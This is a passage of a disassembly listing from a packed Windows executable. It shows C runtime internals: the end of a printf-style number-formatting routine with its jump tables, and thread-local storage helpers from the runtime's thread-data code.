		mov	[ebp+var_234], 6
		jmp	short loc_4285D2
; ---------------------------------------------------------------------------

loc_4285B6:				; CODE XREF: sub_427F60+648j
		cmp	[ebp+var_234], 0
		jnz	short loc_4285D2
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 67h
		jnz	short loc_4285D2
		mov	[ebp+var_234], 1

loc_4285D2:				; CODE XREF: sub_427F60+654j
					; sub_427F60+65Dj ...
		mov	eax, [ebp+arg_8]
		add	eax, 8
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_8]
		sub	ecx, 8
		mov	edx, [ecx]
		mov	eax, [ecx+4]
		mov	[ebp+var_264], edx
		mov	[ebp+var_260], eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_234]
		push	edx
		movsx	eax, byte ptr [ebp+var_28]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		lea	edx, [ebp+var_264]
		push	edx
		call	off_454250
		add	esp, 14h
		mov	eax, [ebp+var_4]
		and	eax, 80h
		test	eax, eax
		jz	short loc_428638
		cmp	[ebp+var_234], 0
		jnz	short loc_428638
		mov	ecx, [ebp+var_20]
		push	ecx
		call	off_45425C
		add	esp, 4

loc_428638:				; CODE XREF: sub_427F60+6C0j
					; sub_427F60+6C9j
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 67h
		jnz	short loc_42865A
		mov	eax, [ebp+var_4]
		and	eax, 80h
		test	eax, eax
		jnz	short loc_42865A
		mov	ecx, [ebp+var_20]
		push	ecx
		call	off_454254
		add	esp, 4

loc_42865A:				; CODE XREF: sub_427F60+6DFj
					; sub_427F60+6EBj
		mov	edx, [ebp+var_20]
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Dh
		jnz	short loc_428677
		mov	ecx, [ebp+var_4]
		or	ch, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx

loc_428677:				; CODE XREF: sub_427F60+703j
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	[ebp+var_24], eax
		jmp	loc_428997
; ---------------------------------------------------------------------------

loc_42868B:				; CODE XREF: sub_427F60+385j
					; DATA XREF: .packed:00428C28o
		mov	ecx, [ebp+var_4]
		or	ecx, 40h
		mov	[ebp+var_4], ecx
		mov	[ebp+var_238], 0Ah
		jmp	loc_428725
; ---------------------------------------------------------------------------

loc_4286A3:				; CODE XREF: sub_427F60+385j
					; DATA XREF: .packed:00428C40o
		mov	[ebp+var_238], 0Ah
		jmp	short loc_428725
; ---------------------------------------------------------------------------

loc_4286AF:				; CODE XREF: sub_427F60+385j
					; DATA XREF: .packed:00428C38o
		mov	[ebp+var_234], 8

loc_4286B9:				; CODE XREF: sub_427F60+385j
					; DATA XREF: .packed:00428C1Co
		mov	[ebp+var_230], 7
		jmp	short loc_4286CF
; ---------------------------------------------------------------------------

loc_4286C5:				; CODE XREF: sub_427F60+385j
					; DATA XREF: .packed:00428C44o
		mov	[ebp+var_230], 27h

loc_4286CF:				; CODE XREF: sub_427F60+763j
		mov	[ebp+var_238], 10h
		mov	edx, [ebp+var_4]
		and	edx, 80h
		test	edx, edx
		jz	short loc_428703
		mov	[ebp+var_240], 30h
		mov	eax, [ebp+var_230]
		add	eax, 51h
		mov	[ebp+var_23F], al
		mov	[ebp+var_10], 2

loc_428703:				; CODE XREF: sub_427F60+784j
		jmp	short loc_428725
; ---------------------------------------------------------------------------

loc_428705:				; CODE XREF: sub_427F60+385j
					; DATA XREF: .packed:00428C34o
		mov	[ebp+var_238], 8
		mov	ecx, [ebp+var_4]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_428725
		mov	edx, [ebp+var_4]
		or	dh, 2
		mov	[ebp+var_4], edx

loc_428725:				; CODE XREF: sub_427F60+73Ej
					; sub_427F60+74Dj ...
		mov	eax, [ebp+var_4]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_42874E
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_428DC0
		add	esp, 4
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	loc_4287DF
; ---------------------------------------------------------------------------

loc_42874E:				; CODE XREF: sub_427F60+7CFj
		mov	edx, [ebp+var_4]
		and	edx, 20h
		test	edx, edx
		jz	short loc_4287A0
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_428780
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_428DA0
		add	esp, 4
		movsx	eax, ax
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	short loc_42879E
; ---------------------------------------------------------------------------

loc_428780:				; CODE XREF: sub_427F60+800j
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_428DA0
		add	esp, 4
		and	eax, 0FFFFh
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx

loc_42879E:				; CODE XREF: sub_427F60+81Ej
		jmp	short loc_4287DF
; ---------------------------------------------------------------------------

loc_4287A0:				; CODE XREF: sub_427F60+7F6j
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_4287C5
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_428DA0
		add	esp, 4
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	short loc_4287DF
; ---------------------------------------------------------------------------

loc_4287C5:				; CODE XREF: sub_427F60+848j
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_428DA0
		add	esp, 4
		xor	ecx, ecx
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], ecx

loc_4287DF:				; CODE XREF: sub_427F60+7E9j
					; sub_427F60:loc_42879Ej ...
		mov	edx, [ebp+var_4]
		and	edx, 40h
		test	edx, edx
		jz	short loc_428827
		cmp	[ebp+var_274], 0
		jg	short loc_428827
		jl	short loc_4287FD
		cmp	[ebp+var_278], 0
		jnb	short loc_428827

loc_4287FD:				; CODE XREF: sub_427F60+892j
		mov	eax, [ebp+var_278]
		neg	eax
		mov	ecx, [ebp+var_274]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], ecx
		mov	edx, [ebp+var_4]
		or	dh, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42883F
; ---------------------------------------------------------------------------

loc_428827:				; CODE XREF: sub_427F60+887j
					; sub_427F60+890j ...
		mov	eax, [ebp+var_278]
		mov	[ebp+var_26C], eax
		mov	ecx, [ebp+var_274]
		mov	[ebp+var_268], ecx

loc_42883F:				; CODE XREF: sub_427F60+8C5j
		mov	edx, [ebp+var_4]
		and	edx, 8000h
		test	edx, edx
		jnz	short loc_428867
		mov	eax, [ebp+var_26C]
		mov	ecx, [ebp+var_268]
		and	ecx, 0
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], ecx

loc_428867:				; CODE XREF: sub_427F60+8EAj
		cmp	[ebp+var_234], 0
		jge	short loc_42887C
		mov	[ebp+var_234], 1
		jmp	short loc_428885
; ---------------------------------------------------------------------------

loc_42887C:				; CODE XREF: sub_427F60+90Ej
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFF7h
		mov	[ebp+var_4], edx

loc_428885:				; CODE XREF: sub_427F60+91Aj
		mov	eax, [ebp+var_26C]
		or	eax, [ebp+var_268]
		test	eax, eax
		jnz	short loc_42889C
		mov	[ebp+var_10], 0

loc_42889C:				; CODE XREF: sub_427F60+933j
		lea	ecx, [ebp+var_29]
		mov	[ebp+var_20], ecx

loc_4288A2:				; CODE XREF: sub_427F60+9EBj
		mov	edx, [ebp+var_234]
		mov	eax, [ebp+var_234]
		sub	eax, 1
		mov	[ebp+var_234], eax
		test	edx, edx
		jg	short loc_4288CF
		mov	ecx, [ebp+var_26C]
		or	ecx, [ebp+var_268]
		test	ecx, ecx
		jz	loc_428950

loc_4288CF:				; CODE XREF: sub_427F60+959j
		mov	eax, [ebp+var_238]
		cdq
		push	edx
		push	eax
		mov	edx, [ebp+var_268]
		push	edx
		mov	eax, [ebp+var_26C]
		push	eax
		call	sub_4214F0
		add	eax, 30h
		mov	[ebp+var_270], eax
		mov	eax, [ebp+var_238]
		cdq
		push	edx
		push	eax
		mov	ecx, [ebp+var_268]
		push	ecx
		mov	edx, [ebp+var_26C]
		push	edx
		call	sub_421480
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], edx
		cmp	[ebp+var_270], 39h
		jle	short loc_428937
		mov	eax, [ebp+var_270]
		add	eax, [ebp+var_230]
		mov	[ebp+var_270], eax

loc_428937:				; CODE XREF: sub_427F60+9C3j
		mov	ecx, [ebp+var_20]
		mov	dl, byte ptr [ebp+var_270]
		mov	[ecx], dl
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		jmp	loc_4288A2
; ---------------------------------------------------------------------------

loc_428950:				; CODE XREF: sub_427F60+969j
		lea	ecx, [ebp+var_29]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_4]
		and	eax, 200h
		test	eax, eax
		jz	short loc_428997
		mov	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 30h
		jnz	short loc_42897F
		cmp	[ebp+var_24], 0
		jnz	short loc_428997

loc_42897F:				; CODE XREF: sub_427F60+A17j
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		mov	byte ptr [ecx],	30h
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	[ebp+var_24], edx

loc_428997:				; CODE XREF: sub_427F60+371j
					; sub_427F60+385j ...
		cmp	[ebp+var_23C], 0
		jnz	loc_428B72
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_4289FD
		mov	ecx, [ebp+var_4]
		and	ecx, 100h
		test	ecx, ecx
		jz	short loc_4289CB
		mov	[ebp+var_240], 2Dh
		mov	[ebp+var_10], 1
		jmp	short loc_4289FD
; ---------------------------------------------------------------------------

loc_4289CB:				; CODE XREF: sub_427F60+A59j
		mov	edx, [ebp+var_4]
		and	edx, 1
		test	edx, edx
		jz	short loc_4289E5
		mov	[ebp+var_240], 2Bh
		mov	[ebp+var_10], 1
		jmp	short loc_4289FD
; ---------------------------------------------------------------------------

loc_4289E5:				; CODE XREF: sub_427F60+A73j
		mov	eax, [ebp+var_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_4289FD
		mov	[ebp+var_240], 20h
		mov	[ebp+var_10], 1

loc_4289FD:				; CODE XREF: sub_427F60+A4Cj
					; sub_427F60+A69j ...
		mov	ecx, [ebp+var_244]
		sub	ecx, [ebp+var_24]
		sub	ecx, [ebp+var_10]
		mov	[ebp+var_27C], ecx
		mov	edx, [ebp+var_4]
		and	edx, 0Ch
		test	edx, edx
		jnz	short loc_428A35
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	20h
		call	sub_428D10
		add	esp, 10h

loc_428A35:				; CODE XREF: sub_427F60+AB7j
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		lea	eax, [ebp+var_240]
		push	eax
		call	sub_428D50
		add	esp, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_428A83
		mov	edx, [ebp+var_4]
		and	edx, 4
		test	edx, edx
		jnz	short loc_428A83
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	30h
		call	sub_428D10
		add	esp, 10h

loc_428A83:				; CODE XREF: sub_427F60+AFBj
					; sub_427F60+B05j
		cmp	[ebp+var_1C], 0
		jz	loc_428B31
		cmp	[ebp+var_24], 0
		jle	loc_428B31
		mov	eax, [ebp+var_20]
		mov	[ebp+var_280], eax
		mov	ecx, [ebp+var_24]
		mov	[ebp+var_284], ecx

loc_428AA9:				; CODE XREF: sub_427F60+BCAj
		mov	edx, [ebp+var_284]
		mov	eax, [ebp+var_284]
		sub	eax, 1
		mov	[ebp+var_284], eax
		test	edx, edx
		jz	short loc_428B2F
		mov	ecx, [ebp+var_280]
		mov	dx, [ecx]
		mov	[ebp+var_2A6], dx
		mov	ax, [ebp+var_2A6]
		push	eax
		lea	ecx, [ebp+var_288]
		push	ecx
		mov	edx, [ebp+var_280]
		add	edx, 2
		mov	[ebp+var_280], edx
		call	sub_431A80
		add	esp, 8
		mov	[ebp+var_28C], eax
		cmp	[ebp+var_28C], 0
		jg	short loc_428B09
		jmp	short loc_428B2F
; ---------------------------------------------------------------------------

loc_428B09:				; CODE XREF: sub_427F60+BA5j
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_28C]
		push	edx
		lea	eax, [ebp+var_288]
		push	eax
		call	sub_428D50
		add	esp, 10h
		jmp	loc_428AA9
; ---------------------------------------------------------------------------

loc_428B2F:				; CODE XREF: sub_427F60+B60j
					; sub_427F60+BA7j
		jmp	short loc_428B4C
; ---------------------------------------------------------------------------

loc_428B31:				; CODE XREF: sub_427F60+B27j
					; sub_427F60+B31j
		lea	ecx, [ebp+var_22C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	sub_428D50
		add	esp, 10h

loc_428B4C:				; CODE XREF: sub_427F60:loc_428B2Fj
		mov	edx, [ebp+var_4]
		and	edx, 4
		test	edx, edx
		jz	short loc_428B72
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	20h
		call	sub_428D10
		add	esp, 10h

loc_428B72:				; CODE XREF: sub_427F60+ADj
					; sub_427F60+155j ...
		jmp	loc_427F84
; ---------------------------------------------------------------------------

loc_428B77:				; CODE XREF: sub_427F60+3Bj
					; sub_427F60+48j
		mov	eax, [ebp+var_22C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_427F60	endp

; ---------------------------------------------------------------------------
off_428B84	dd offset loc_428020	; DATA XREF: sub_427F60+B9r
		dd offset loc_4280BA
		dd offset loc_4280FC
		dd offset loc_42816B
		dd offset loc_4281C3
		dd offset loc_4281D2
		dd offset loc_42821E
		dd offset loc_4282B1
off_428BA4	dd offset loc_428148	; DATA XREF: sub_427F60+1CCr
		dd offset loc_428153
		dd offset loc_42813E
		dd offset loc_428133
		dd offset loc_42815E
		dd offset loc_428166
byte_428BBC	db 0			; DATA XREF: sub_427F60+1C6r
		db 2 dup(5), 1
		dd 5050505h, 2050505h, 5050305h
		db 4
off_428BCD	dd offset loc_428260	; DATA XREF: sub_427F60+2EEr
		dd offset loc_428299
		dd offset loc_428255
		dd offset loc_4282A3
		dd offset loc_4282AC
byte_428BE1	db 0, 1Eh dup(4), 1, 3 dup(4), 2, 0Ah dup(4), 3	; DATA XREF: sub_427F60+2E8r
off_428C10	dd offset loc_4282EC	; DATA XREF: sub_427F60+385r
		dd offset loc_428580
		dd offset loc_428410
		dd offset loc_4286B9
		dd offset loc_42837B
		dd offset loc_428301
		dd offset loc_42868B
		dd offset loc_428590
		dd offset loc_428535
		dd offset loc_428705
		dd offset loc_4286AF
		dd offset loc_428426
		dd offset loc_4286A3
		dd offset loc_4286C5
		dd offset loc_428997
byte_428C4C	db 0, 0Eh, 1, 0Eh, 1, 0Bh dup(0Eh), 2, 4 dup(0Eh), 3, 0Eh
					; DATA XREF: sub_427F60+37Fr
		db 4, 8	dup(0Eh), 5, 6,	3 dup(7), 0Eh, 6, 4 dup(0Eh), 8
		db 9, 0Ah, 2 dup(0Eh), 0Bh, 0Eh, 0Ch, 2	dup(0Eh), 0Dh
		db 0Eh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428C90	proc near		; CODE XREF: sub_427F60+F5p
					; sub_427F60+14Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_4]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+4], 0
		jl	short loc_428CD2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		movsx	ecx, byte ptr [ebp+arg_0]
		and	ecx, 0FFh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_428CE5
; ---------------------------------------------------------------------------

loc_428CD2:				; CODE XREF: sub_428C90+1Aj
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_427CE0
		add	esp, 8
		mov	[ebp+var_4], eax

loc_428CE5:				; CODE XREF: sub_428C90+40j
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_428CF6
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx], 0FFFFFFFFh
		jmp	short loc_428D03
; ---------------------------------------------------------------------------

loc_428CF6:				; CODE XREF: sub_428C90+59j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax

loc_428D03:				; CODE XREF: sub_428C90+64j
		mov	esp, ebp
		pop	ebp
		retn
sub_428C90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428D10	proc near		; CODE XREF: sub_427F60+ACDp
					; sub_427F60+B1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp

loc_428D13:				; CODE XREF: sub_428D10:loc_428D41j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		test	eax, eax
		jle	short loc_428D43
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_428C90
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jnz	short loc_428D41
		jmp	short loc_428D43
; ---------------------------------------------------------------------------

loc_428D41:				; CODE XREF: sub_428D10+2Dj
		jmp	short loc_428D13
; ---------------------------------------------------------------------------

loc_428D43:				; CODE XREF: sub_428D10+11j
					; sub_428D10+2Fj
		pop	ebp
		retn
sub_428D10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428D50	proc near		; CODE XREF: sub_427F60+AEBp
					; sub_427F60+BC2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx

loc_428D54:				; CODE XREF: sub_428D50:loc_428D94j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		test	eax, eax
		jle	short loc_428D96
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		call	sub_428C90
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jnz	short loc_428D94
		jmp	short loc_428D96
; ---------------------------------------------------------------------------

loc_428D94:				; CODE XREF: sub_428D50+40j
		jmp	short loc_428D54
; ---------------------------------------------------------------------------

loc_428D96:				; CODE XREF: sub_428D50+12j
					; sub_428D50+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_428D50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428DA0	proc near		; CODE XREF: sub_427F60+218p
					; sub_427F60+27Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	eax, [ecx-4]
		pop	ebp
		retn
sub_428DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428DC0	proc near		; CODE XREF: sub_427F60+7D5p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		sub	ecx, 8
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		pop	ebp
		retn
sub_428DC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428DE0	proc near		; CODE XREF: sub_427F60+3B2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ax, [ecx-4]
		pop	ebp
		retn
sub_428DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428E00	proc near		; CODE XREF: sub_422100:loc_422194p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4231A0
		call	dword_4F54CC	; TlsAlloc
		mov	dword_453EC4, eax
		cmp	dword_453EC4, 0FFFFFFFFh
		jnz	short loc_428E21
		xor	eax, eax
		jmp	short loc_428E7E
; ---------------------------------------------------------------------------

loc_428E21:				; CODE XREF: sub_428E00+1Bj
		push	61h
		push	offset aTidtable_c ; "tidtable.c"
		push	2
		push	74h
		push	1
		call	sub_41C2D0
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_428E54
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, dword_453EC4
		push	ecx
		call	dword_4F54C8	; TlsSetValue
		test	eax, eax
		jnz	short loc_428E58

loc_428E54:				; CODE XREF: sub_428E00+3Dj
		xor	eax, eax
		jmp	short loc_428E7E
; ---------------------------------------------------------------------------

loc_428E58:				; CODE XREF: sub_428E00+52j
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_428EC0
		add	esp, 4
		call	dword_4F54C4	; GetCurrentThreadId
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		mov	eax, 1

loc_428E7E:				; CODE XREF: sub_428E00+1Fj
					; sub_428E00+56j
		mov	esp, ebp
		pop	ebp
		retn
sub_428E00	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_4231E0
		cmp	dword_453EC4, 0FFFFFFFFh
		jz	short loc_428EB7
		mov	eax, dword_453EC4
		push	eax
		call	dword_4F54D0	; TlsFree
		mov	dword_453EC4, 0FFFFFFFFh

loc_428EB7:				; CODE XREF: .packed:00428E9Fj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428EC0	proc near		; CODE XREF: sub_428E00+5Cp
					; sub_428EE0+5Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+50h], offset dword_4543C8
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+14h], 1
		pop	ebp
		retn
sub_428EC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428EE0	proc near		; CODE XREF: sub_41EB60+3p
					; sub_41EB70+4p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax
		mov	eax, dword_453EC4
		push	eax
		call	dword_4F54D8	; TlsGetValue
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_428F67
		push	0E7h
		push	offset aTidtable_c ; "tidtable.c"
		push	2
		push	74h
		push	1
		call	sub_41C2D0
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_428F5D
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, dword_453EC4
		push	edx
		call	dword_4F54C8	; TlsSetValue
		test	eax, eax
		jz	short loc_428F5D
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_428EC0
		add	esp, 4
		call	dword_4F54C4	; GetCurrentThreadId
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		jmp	short loc_428F67
; ---------------------------------------------------------------------------

loc_428F5D:				; CODE XREF: sub_428EE0+43j
					; sub_428EE0+58j
		push	10h
		call	sub_422270
		add	esp, 4

loc_428F67:				; CODE XREF: sub_428EE0+22j
					; sub_428EE0+7Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	dword_4F54D4	; RtlRestoreLastWin32Error
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_428EE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_453EC4, 0FFFFFFFFh
		jz	loc_429085
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_428FA5
		mov	eax, dword_453EC4
		push	eax
		call	dword_4F54D8	; TlsGetValue
		mov	[ebp+8], eax

loc_428FA5:				; CODE XREF: .packed:00428F94j
		cmp	dword ptr [ebp+8], 0
		jz	loc_429076
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+24h], 0
		jz	short loc_428FC9
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+24h]
		push	eax
		call	sub_41CA10
		add	esp, 8

loc_428FC9:				; CODE XREF: .packed:00428FB6j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+28h], 0
		jz	short loc_428FE3
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+28h]
		push	eax
		call	sub_41CA10
		add	esp, 8

loc_428FE3:				; CODE XREF: .packed:00428FD0j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+30h], 0
		jz	short loc_428FFD
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+30h]
		push	eax
		call	sub_41CA10
		add	esp, 8

loc_428FFD:				; CODE XREF: .packed:00428FEAj
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+38h], 0
		jz	short loc_429017
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+38h]
		push	eax
		call	sub_41CA10
		add	esp, 8

loc_429017:				; CODE XREF: .packed:00429004j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+40h], 0
		jz	short loc_429031
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+40h]
		push	eax
		call	sub_41CA10
		add	esp, 8

loc_429031:				; CODE XREF: .packed:0042901Ej
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+44h], 0
		jz	short loc_42904B
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+44h]
		push	eax
		call	sub_41CA10
		add	esp, 8

loc_42904B:				; CODE XREF: .packed:00429038j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+50h], offset dword_4543C8
		jz	short loc_429068
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+50h]
		push	eax
		call	sub_41CA10
		add	esp, 8

loc_429068:				; CODE XREF: .packed:00429055j
		push	2
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_41CA10
		add	esp, 8

loc_429076:				; CODE XREF: .packed:00428FA9j
		push	0
		mov	edx, dword_453EC4
		push	edx
		call	dword_4F54C8	; TlsSetValue

loc_429085:				; CODE XREF: .packed:00428F8Aj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	dword_4F54C4	; GetCurrentThreadId
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	dword_4F54DC	; GetCurrentThread
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4290B0	proc near		; CODE XREF: sub_429890+Ep

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
